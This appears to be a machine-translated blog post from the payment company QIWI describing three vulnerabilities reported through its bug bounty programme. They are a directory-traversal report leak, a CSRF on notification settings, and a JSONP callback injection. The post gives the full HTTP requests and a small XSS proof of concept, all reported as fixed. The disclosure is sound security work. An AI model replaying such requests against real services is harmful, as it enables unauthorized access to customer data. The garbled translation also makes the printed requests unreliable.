倫理ハックの3つの物語。 ハッカーがQIWIでバグを排除する方法

少し前に、QIWIで1つの興味深いプログラムを開始しました- それはEthic Hackと呼ばれます。 実際、システムインターフェースのエラーやバグを検索するように皆を惹きつけています。 バグを発見し、手紙で説明し、QIWIから報酬を受け取りました-これがスキームの仕組みです。 プログラムが開始された直後、オフィスは2つのキャンプに分割されました。成功とハッカーからの支援の可能性を信じるキャンプと、この取り組みに懐疑的なキャンプがありました。 それから客観的に判断することは困難でした-私達はありそうな予測だけを持っていました。 そして今、あります。 そして、得られた事例をあなたと共有したいだけです。







プログラムの開始以来、情報を受け取り、150を超える脆弱性を修正しました。 特定の脆弱性については、最大150,000ルーブルを支払いましたが、例では公開できません。



それで、プログラムは上り坂になりました。 ハッカーの支援のおかげで修正した多くのバグを蓄積しました。 特にあなたのために、いくつかの例を強調しました。 倫理的ハックからのいくつかの本当の物語。



最初の話:他の人のレポートを読んでください。





脆弱なホスト:sms.qiwi.ru

脆弱性の種類:ディレクトリバイパス+弱いID検証+セッション検証なし

他の人のレポートを読んで、会社の顧客とその行動の概要を取得します:)



場所:sms.qiwi.ru/bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id=繰り返し方法:目的のレポートIDをディレクトリとして+その数字で指定レポート後(123456->レポート/ 12/34 / 56.dat)。 出来上がり、あなたは誰か他の人の報告を持っています:)



他の人のレポートの盗難の例を含む完全なGETリクエスト:



GET /bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id= HTTP / 1.1

ホスト:sms.qiwi.ru

ユーザーエージェント:Mozilla / 5.0(Macintosh、Intel Mac OS X 10_8_3)AppleWebKit / 536.28.10(KHTML、Geckoなど)バージョン/ 6.0.3 Safari / 536.28.10

許可:text / html、application / xhtml + xml、application / xml; q = 0.9、* / *; q = 0.8

起源: sms.qiwi.ru

Accept-Encoding:gzip、deflate

Accept-Language:ru

リファラーsms.qiwi.ru/bo/monitor/report_view.jsp?instance_id=144114

Cookie:JSESSIONID =; __utma = 200106670.88940096.1367226876.1367244987.1367247574.7; __utmc = 200106670; __utmz = 200106670.1367247574.7.5.utmcsr = google | utmccn =(organic)| utmcmd = organic | utmctr = site%3Aqiwi.ru%20inurl%接続:keep-alive

プロキシ接続:キープアライブ



2番目のストーリー:通知設定を変更する方法。





脆弱なホスト

ishop.qiwi.ru



OWASP TOP 10分類脆弱性タイプ

A8-CSRF



正確にどこ

ishop.qiwi.ru/notificationSave.action



何ができる

この脆弱性により、攻撃者は、ユーザーが攻撃者によって特別に作成されたページにアクセスしたときに、ユーザーの通知設定(電話番号、SMSなど)を変更できます。



繰り返し方

1.あるユーザーアカウントでログインします。

2.通知設定を行います。

3.ステップ4(テスト)を実行します

4. BurpSuiteまたは同様のアプリケーションを使用して、受信したCookie値をCookie(JSESSIONID)に置き換えて、次のリクエストを送信します



POST /notificationSave.action HTTP / 1.1

ホスト:ishop.qiwi.ru

ユーザーエージェント:Mozilla / 5.0(Windows NT 6.1; WOW64; rv:20.0)Gecko / 20100101 Firefox / 20.0

許可:text / html、application / xhtml + xml、application / xml; q = 0.9、* / *; q = 0.8

Accept-Language:ru-RU、ru; q = 0.8、en-US; q = 0.5、en; q = 0.3

Accept-Encoding:gzip、deflate

リファラーishop.qiwi.ru/notifications.action

Cookie:__utma = 200106670.867508279.1368788962.1368788962.1369037765.2; __utmz = 200106670.1368788962.1.1.utmcsr =(直接)| utmccn =(直接)| utmcmd =(なし); __utmc = 200106670; JSESSIONID =;。node-ishop04.1; __utma = 47471167.1903908478.1369624211.1369650501.1369717004.6; __utmc = 47471167; __utmz = 47471167.1369717004.6.2.utmcsr = ishopnew.qiwi.ru | utmccn =(参照)| utmcmd =参照| utmcct = /; __utmb = 47471167.25.10.1369717004

接続:キープアライブ

Content-Type:application / x-www-form-urlencoded

コンテンツの長さ:244



phone =&incomingBillMail = true&__ checkbox_incomingBillMail = true&__ checkbox_incomingPayMail = true&__ checkbox_incomingPaySMS = true&__ checkbox_cancelPayMail = true&__ checkbox_cancelPaySMS = true

5.通知設定ページに移動し、電話番号と通知設定が変更されていることを確認します



対策

ランダムな値を含む非表示フォームフィールド-CSRFトークンを追加します。

www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet



3番目のストーリー:任意のコード。





エラーはサイトw.qiwi.ruで見つかりました



/user/communication/sendsms.actionスクリプトのコールバックパラメーターの出力の検証とスクリーニングはありません。



クライアント側で任意のコードを実行することが可能です。



攻撃を行うには、システムへのユーザー登録は不要です。 ユーザーは、ブラウザから提案されたJavaScriptスクリプトを開く必要があります。



リクエスト例



GET /user/communication/sendsms.action?number=&text=111&callback = <> "'; HTTP / 1.1

ホスト:w.qiwi.ru

ユーザーエージェント:Mozilla / 5.0(Windows NT 6.1; WOW64; rv:20.0)Gecko / 20100101 Firefox / 20.0

受け入れる:テキスト/ javascript、アプリケーション/ javascript、* / *

Accept-Language:ru-RU、ru; q = 0.8、en-US; q = 0.5、en; q = 0.3

Accept-Encoding:gzip、deflate

X-Requested-With:XMLHttpRequest

リファラーw.qiwi.ru/communication.action

Cookie:__utma = 153665022.317299647.1368525797.1368679677.1368684655.3; __utmz = 153665022.1368684655.3.3.utmcsr = google | utmccn =(organic)| utmcmd = organic | utmctr = qiwi%20webmoney; JSESSIONID = .node-wb02.2; __utmc = 153665022; __utmb = 153665022.34.10.1368684655

接続:キープアライブ

コンテンツの長さ:6



答え



HTTP / 1.1 200 OK

日付:2013年5月16日(木)08:16:14 GMT

有効期限:土、1995年5月6日12:00:00 GMT

Cache-Control:no-store、no-cache、must-revalidate

キャッシュ制御:事後チェック= 0、事前チェック= 0

プラグマ:no-cache

Content-Type:text / javascript; charset = utf-8

コンテンツの長さ:142

キープアライブ:タイムアウト= 5、最大= 100

接続:キープアライブ



<> "';({error:0、data:{" confirmBySms ":true、" confirmLink ":" "、" provider ":" 199 "、" identifier ":" "}、メッセージ:[]、エラー: []、fieldErrors:[]})



概念実証



Internet Explorerで、



w.qiwi.ru/user/communication/sendsms.action?number= text = 111&callback = WScript.Echo( 'XSS');

チェック時に、Internet Explorerバージョン9が使用されました。



All Articles